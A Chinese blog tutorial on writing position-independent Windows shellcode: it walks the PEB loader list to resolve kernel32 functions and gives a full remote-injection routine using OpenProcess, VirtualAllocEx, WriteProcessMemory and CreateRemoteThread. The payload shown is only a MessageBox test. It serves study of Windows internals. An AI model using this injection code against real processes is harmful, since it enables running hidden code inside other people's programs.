ShellCode编写和远程代码注入

1.ShellCode是什么

一段特殊的代码,不依赖与任何进程环境。简单来讲就是一段可以在Windows上任何进程都能运行的代码。

2.ShellCode的编写原则

不能依赖全局的东西

  • 全局变量
  • 函数
  • 常量字符串

3.TEB与PEB

1)TEB线程信息

   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : Ptr32 Void
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : Ptr32 Void
   +0x02c ThreadLocalStoragePointer : Ptr32 Void
   +0x030 ProcessEnvironmentBlock : Ptr32 _PEB		//TEB的地址
   +0x034 LastErrorValue   : Uint4B
   +0x038 CountOfOwnedCriticalSections : Uint4B
   +0x03c CsrClientThread  : Ptr32 Void
   +0x040 Win32ThreadInfo  : Ptr32 Void
   +0x044 User32Reserved   : [26] Uint4B
   +0x0ac UserReserved     : [5] Uint4B
   +0x0c0 WOW32Reserved    : Ptr32 Void
   +0x0c4 CurrentLocale    : Uint4B
   +0x0c8 FpSoftwareStatusRegister : Uint4B
   +0x0cc SystemReserved1  : [54] Ptr32 Void
   +0x1a4 ExceptionCode    : Int4B
   +0x1a8 ActivationContextStack : _ACTIVATION_CONTEXT_STACK
   +0x1bc SpareBytes1      : [24] UChar
   +0x1d4 GdiTebBatch      : _GDI_TEB_BATCH
   +0x6b4 RealClientId     : _CLIENT_ID
   +0x6bc GdiCachedProcessHandle : Ptr32 Void
   +0x6c0 GdiClientPID     : Uint4B
   +0x6c4 GdiClientTID     : Uint4B
   +0x6c8 GdiThreadLocalInfo : Ptr32 Void
   +0x6cc Win32ClientInfo  : [62] Uint4B
   +0x7c4 glDispatchTable  : [233] Ptr32 Void
   +0xb68 glReserved1      : [29] Uint4B
   +0xbdc glReserved2      : Ptr32 Void
   +0xbe0 glSectionInfo    : Ptr32 Void
   +0xbe4 glSection        : Ptr32 Void
   +0xbe8 glTable          : Ptr32 Void
   +0xbec glCurrentRC      : Ptr32 Void
   +0xbf0 glContext        : Ptr32 Void
   +0xbf4 LastStatusValue  : Uint4B
   +0xbf8 StaticUnicodeString : _UNICODE_STRING
   +0xc00 StaticUnicodeBuffer : [261] Uint2B
   +0xe0c DeallocationStack : Ptr32 Void
   +0xe10 TlsSlots         : [64] Ptr32 Void
   +0xf10 TlsLinks         : _LIST_ENTRY
   +0xf18 Vdm              : Ptr32 Void
   +0xf1c ReservedForNtRpc : Ptr32 Void
   +0xf20 DbgSsReserved    : [2] Ptr32 Void
   +0xf28 HardErrorsAreDisabled : Uint4B
   +0xf2c Instrumentation  : [16] Ptr32 Void
   +0xf6c WinSockData      : Ptr32 Void
   +0xf70 GdiBatchCount    : Uint4B
   +0xf74 InDbgPrint       : UChar
   +0xf75 FreeStackOnTermination : UChar
   +0xf76 HasFiberData     : UChar
   +0xf77 IdealProcessor   : UChar
   +0xf78 Spare3           : Uint4B
   +0xf7c ReservedForPerf  : Ptr32 Void
   +0xf80 ReservedForOle   : Ptr32 Void
   +0xf84 WaitingOnLoaderLock : Uint4B
   +0xf88 Wx86Thread       : _Wx86ThreadState
   +0xf94 TlsExpansionSlots : Ptr32 Ptr32 Void
   +0xf98 ImpersonationLocale : Uint4B
   +0xf9c IsImpersonating  : Uint4B
   +0xfa0 NlsCache         : Ptr32 Void
   +0xfa4 pShimData        : Ptr32 Void
   +0xfa8 HeapVirtualAffinity : Uint4B
   +0xfac CurrentTransactionHandle : Ptr32 Void
   +0xfb0 ActiveFrame      : Ptr32 _TEB_ACTIVE_FRAME
   +0xfb4 SafeThunkCall    : UChar
   +0xfb5 BooleanSpare     : [3] UChar

获取当前线程的TEB

mov eax,fs[0]

2)PEB进程环境块

   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 SpareBool        : UChar
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA      //模块信息
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION
   +0x020 FastPebLockRoutine : Ptr32 Void
   +0x024 FastPebUnlockRoutine : Ptr32 Void
   +0x028 EnvironmentUpdateCount : Uint4B
   +0x02c KernelCallbackTable : Ptr32 Void
   +0x030 SystemReserved   : [1] Uint4B
   +0x034 AtlThunkSListPtr32 : Uint4B
   +0x038 FreeList         : Ptr32 _PEB_FREE_BLOCK
   +0x03c TlsExpansionCounter : Uint4B
   +0x040 TlsBitmap        : Ptr32 Void
   +0x044 TlsBitmapBits    : [2] Uint4B
   +0x04c ReadOnlySharedMemoryBase : Ptr32 Void
   +0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
   +0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
   +0x058 AnsiCodePageData : Ptr32 Void
   +0x05c OemCodePageData  : Ptr32 Void
   +0x060 UnicodeCaseTableData : Ptr32 Void
   +0x064 NumberOfProcessors : Uint4B
   +0x068 NtGlobalFlag     : Uint4B
   +0x070 CriticalSectionTimeout : _LARGE_INTEGER
   +0x078 HeapSegmentReserve : Uint4B
   +0x07c HeapSegmentCommit : Uint4B
   +0x080 HeapDeCommitTotalFreeThreshold : Uint4B
   +0x084 HeapDeCommitFreeBlockThreshold : Uint4B
   +0x088 NumberOfHeaps    : Uint4B
   +0x08c MaximumNumberOfHeaps : Uint4B
   +0x090 ProcessHeaps     : Ptr32 Ptr32 Void
   +0x094 GdiSharedHandleTable : Ptr32 Void
   +0x098 ProcessStarterHelper : Ptr32 Void
   +0x09c GdiDCAttributeList : Uint4B
   +0x0a0 LoaderLock       : Ptr32 Void
   +0x0a4 OSMajorVersion   : Uint4B
   +0x0a8 OSMinorVersion   : Uint4B
   +0x0ac OSBuildNumber    : Uint2B
   +0x0ae OSCSDVersion     : Uint2B
   +0x0b0 OSPlatformId     : Uint4B
   +0x0b4 ImageSubsystem   : Uint4B
   +0x0b8 ImageSubsystemMajorVersion : Uint4B
   +0x0bc ImageSubsystemMinorVersion : Uint4B
   +0x0c0 ImageProcessAffinityMask : Uint4B
   +0x0c4 GdiHandleBuffer  : [34] Uint4B
   +0x14c PostProcessInitRoutine : Ptr32     void 
   +0x150 TlsExpansionBitmap : Ptr32 Void
   +0x154 TlsExpansionBitmapBits : [32] Uint4B
   +0x1d4 SessionId        : Uint4B
   +0x1d8 AppCompatFlags   : _ULARGE_INTEGER
   +0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER
   +0x1e8 pShimData        : Ptr32 Void
   +0x1ec AppCompatInfo    : Ptr32 Void
   +0x1f0 CSDVersion       : _UNICODE_STRING
   +0x1f8 ActivationContextData : Ptr32 Void
   +0x1fc ProcessAssemblyStorageMap : Ptr32 Void
   +0x200 SystemDefaultActivationContextData : Ptr32 Void
   +0x204 SystemAssemblyStorageMap : Ptr32 Void
   +0x208 MinimumStackCommit : Uint4B

获取当前进程的TEB

mov eax,fs:[0x30]

PEB_LDR_DATA

   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   //三个双向链表
   +0x00c InLoadOrderModuleList : _LIST_ENTRY				//加载模块顺序
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY				//内存中模块顺序
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY		//初始化模块的顺序
   +0x024 EntryInProgress  : Ptr32 Void

LDR_DATA_TABLE_ENTRY

   +0x000 InLoadOrderLinks : _LIST_ENTRY					//加载模块顺序
   +0x008 InMemoryOrderLinks : _LIST_ENTRY					//内存中模块顺序
   +0x010 InInitializationOrderLinks : _LIST_ENTRY			//初始化模块的顺序
   +0x018 DllBase          : Ptr32 Void						//模块基地址
   +0x01c EntryPoint       : Ptr32 Void						//模块的入口
   +0x020 SizeOfImage      : Uint4B							//模块在内存中的大小
   +0x024 FullDllName      : _UNICODE_STRING				//包含路径的模块名
   +0x02c BaseDllName      : _UNICODE_STRING				//不包含路径的模块名
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B							//引用计数
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 Void
   +0x04c PatchInformation : Ptr32 Void

可以用LDR_DATA_TABLE_ENTRY找到一个进程的所有模块

在任意进程中找到一个LDR_DATA_TABLE_ENTRY

1.一些结构体的定义
//字符串结构
struct UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	WCHAR *Buffer;
};
//双向链表
struct LIST_ENTRY {
	struct LIST_ENTRY *Flink;
	struct LIST_ENTRY *Blink;
};

struct PEB_LDR_DATA
{
	UINT32 Length;
	UINT32 UChar;
	void *SsHandle;
	struct LIST_ENTRY InLoadOrderModuleList;
	struct LIST_ENTRY InMemoryOrderModuleList;
	struct LIST_ENTRY InInitializationOrderModuleList;
	void *EntryInProgress;
};

struct LDR_DATA_TABLE_ENTRY
{
	struct LIST_ENTRY InLoadOrderLists;
	struct LIST_ENTRY InMemoryOrderLists;
	struct LIST_ENTRY InInitializationOrderLists;
	UINT32 DllBase;
	UINT32 EntryPoint;
	UINT32 SizeOfImage;
	struct UNICODE_STRING FullDllName;
	struct UNICODE_STRING BaseDllName;
	UINT32 Flags;
	UINT32 LoadCount;
	UINT16 TlsIndex;
	char buf[16];//多余的没用到直接填充
};
2.寻找方法
struct PEB_LDR_DATA *pld = NULL;

__asm {
    mov eax, fs:[0x30]      //找到PEB
    mov eax, [eax + 0xc]	//找到PEB_LDR_DATA
    mov ss : [pld], eax		//找到LDR_DATA_TABLE_ENTRY
}

由于时双向链表,所有找到一个节点就可以得到全部的节点

4.ShellCode的实现思路

所有进程都会依赖与kernel32.dll这个模块,找到这个模块中的LoadLibrary函数和GetProcAddress函数就可以在ShellCode中使用dll中的函数

主要步骤如下

  • 寻找一个LDR_DATA_TABLE_ENTRY节点
  • 遍历LDR_DATA_TABLE_ENTRY链表找到kernel32.dll这个模块,得到这个模块的DllBase
  • 利用这个模块的导出表去找到GetProcAddress函数
  • 再通过GetProcAddress函数找到LoadLibrary函数

代码实现

struct PEB_LDR_DATA *pld = NULL;
//1.找到一个LDR_DATA_TABLE_ENTRY节点
__asm {
    mov eax, fs:[0x30]
    mov eax, [eax + 0xc]
    mov ss : [pld], eax
}

WCHAR kernelString[] = {'K','E','R','N','E','L','3','2',0};
WCHAR *pst = kernelString;

//printf("%x\n",pld);
struct LDR_DATA_TABLE_ENTRY* start = (struct LDR_DATA_TABLE_ENTRY*)pld->InLoadOrderModuleList.Blink;
struct LDR_DATA_TABLE_ENTRY* it = (struct LDR_DATA_TABLE_ENTRY*)pld->InLoadOrderModuleList.Blink;
struct UNICODE_STRING name;
//2.遍历LDR_DATA_TABLE_ENTRY链表找到kernel32.dll这个模块
do
{
    name = it->BaseDllName;
    WCHAR *pbuf = name.Buffer;

    if (name.Buffer != NULL)
    {	
        while (*pst != 0 && *pst++ == *pbuf++);
		//如果为零表示已经找到这个模块
        if (*pst == 0) break;

        pst = kernelString;
    }

    it = (struct LDR_DATA_TABLE_ENTRY*)it->InLoadOrderLists.Flink;
} while (it != start);
//判断是否找到
if (it == start && pst != 0)
{
    return;
}

HMODULE DllBase = (HMODULE)it->DllBase;
//PE结构去找导出表
IMAGE_DOS_HEADER *dos_head = (IMAGE_DOS_HEADER *)DllBase;
IMAGE_NT_HEADERS32 *pe_head = (IMAGE_NT_HEADERS32 *)((char *)DllBase + dos_head->e_lfanew);
//导出表
IMAGE_EXPORT_DIRECTORY *Export = (IMAGE_EXPORT_DIRECTORY *)((char *)DllBase + pe_head->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//导出表的三个子表,函数名称表,函数地址表,函数序号表
DWORD *function_name = (DWORD *)((char *)DllBase + Export->AddressOfNames);
DWORD *function_addrs = (DWORD *)((char *)DllBase + Export->AddressOfFunctions);
WORD *function_num = (WORD *)((char *)DllBase + Export->AddressOfNameOrdinals);

//3.利用导出表去找到GetProcAddress函数
char gpastring[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
char *pgpa = gpastring;
int num = Export->NumberOfNames;
char *fun_name = NULL;

int i = 0;
for (i = 0; i < num; i++)
{
    fun_name = (char *)((char *)DllBase + function_name[i]);

    while ( *pgpa != 0 && *pgpa++ == *fun_name++);

    if (*pgpa == 0) break;

    pgpa = gpastring;
}
//GetProcAddress函数
GetProcAddressCallBack pGetProcAddress = (void *)((char *)DllBase + function_addrs[function_num[i]]);
//LoadLibrary函数
char loadlibStr[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
HMODULE (WINAPI *pLoadLibraryA)(LPCSTR) = pGetProcAddress(DllBase, loadlibStr);


//以下代码师测试代码,前面完成之后下面开始写ShellCode的正真内容
char userStr[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
HMODULE userModele = pLoadLibraryA(userStr);

char messageStr[] = { 'M','e','s','s','a','g','e','B','o','x','A',0 };
MessageBoxACallBack pMeaageBoxA = pGetProcAddress(userModele, messageStr);
pMeaageBoxA(NULL, messageStr, userStr,NULL);

5.远程注入代码

注入代码实现思路

  • OpenProcess打开一个进程
  • 为远程进程申请一段空间(VirtualAllocEx)
  • 使用WriteProcessMemory写入ShellCode代码
  • 使用CreateRemoteThread创建远程线程执行ShellCode代码

代码实现

//iProcessID为进程ID
BOOL InjectDll(int iProcessID)
{
    //1.OpenProcess打开一个进程
	HANDLE hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, iProcessID);
	if (hRemoteProcess == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}
	//2.为远程进程申请一段空间
	char *pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!pszLibFileRemote)
	{
		return FALSE;
	}
	//计算代码正真位置
	unsigned char *address = (void *)shellCode;
	unsigned char *paddress = (void *)shellCode;
	if (*paddress == 0xE9)
	{
		DWORD off = *((DWORD *)(paddress + 1));
		address = address + off + 5;
	}
	//3.使用WriteProcessMemory写入ShellCode代码
	WriteProcessMemory(hRemoteProcess, pszLibFileRemote, address, 4096, NULL);
	DWORD err = GetLastError();
	//4.使用CreateRemoteThread创建远程线程执行ShellCode代码
	HANDLE hRemoteThread;
	if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pszLibFileRemote, NULL, 0, NULL)) == NULL)
	{
		err = GetLastError();
		return FALSE;
	}

	// 释放句柄
	CloseHandle(hRemoteProcess);
	CloseHandle(hRemoteThread);

	return TRUE;
}

写下面这段代码的原因时因为vs中用一个jmp的过程

unsigned char *address = (void *)shellCode;
unsigned char *paddress = (void *)shellCode;
if (*paddress == 0xE9)
{
    DWORD off = *((DWORD *)(paddress + 1));
    address = address + off + 5;
}

在这里插入图片描述

函数调用时会先跳转到jmp处,再跳转到正真的函数,我们要拷贝的是正真跳转的函数

6.关于我在vs2017编写时遇到的问题

在这里插入图片描述

再函数调用完有一个堆栈检查,这个堆栈检查是一个函数。所有使用这个函数是依赖环境的导致一开始我的ShellCode没用写成功

解决方法

在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值